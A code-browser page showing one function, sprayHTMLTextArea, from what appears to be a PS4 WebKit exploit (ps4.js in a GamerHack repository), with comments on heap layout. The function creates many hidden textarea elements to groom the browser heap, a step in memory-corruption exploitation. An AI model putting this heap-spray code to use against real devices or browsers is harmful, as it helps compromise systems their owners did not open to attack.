MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / sprayHTMLTextArea

Function sprayHTMLTextArea

restore/702/ps4.js:413–432  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

411
412/* HTMLElement spray */
413function sprayHTMLTextArea() {
414 debug_log("[+] Spraying HTMLTextareaElement ...");
415
416 let textarea_div_elem = document.createElement("div");
417 document.body.appendChild(textarea_div_elem);
418 textarea_div_elem.id = "div1";
419 var element = document.createElement("textarea");
420
421 /* Add a style to avoid textarea display */
422 element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;';
423
424 /*
425 * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc
426 * allocation of the node attributes and an IsoHeap allocation of the
427 * Element. The virtual page layout will look something like that:
428 * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...]
429 */
430 for (let i = 0; i < SPRAY_ELEM_SIZE; i++)
431 textarea_div_elem.appendChild(element.cloneNode());
432}
433
434/* StringImpl Spray */
435function sprayStringImpl(start, end) {

Callers 1

goFunction · 0.70

Calls 1

debug_logFunction · 0.70

Tested by

no test coverage detected